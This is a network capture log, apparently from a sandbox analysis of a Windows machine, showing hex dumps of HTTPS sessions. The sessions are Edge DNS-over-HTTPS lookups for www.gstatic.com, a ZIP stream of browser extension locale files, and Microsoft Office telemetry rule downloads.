2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-26 09:09:24 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49802	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd56aed9427c-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e2 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49796	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd56fc13435c-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e8 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49795	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd56ffb8c330-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d0 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49806	162.159.61.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd570bb842ea-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f2 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49803	172.64.41.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd570ecd439d-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 05 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49805	162.159.61.3	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 09:09:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 09:09:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e88bd57590c6a58-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 09:09:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 49 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomIPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090926Z-174f7845968px8v7hC1EWR08ng0000000vhg0000000020sh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090926Z-174f7845968l4kp6hC1EWRe8840000000vdg0000000074g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
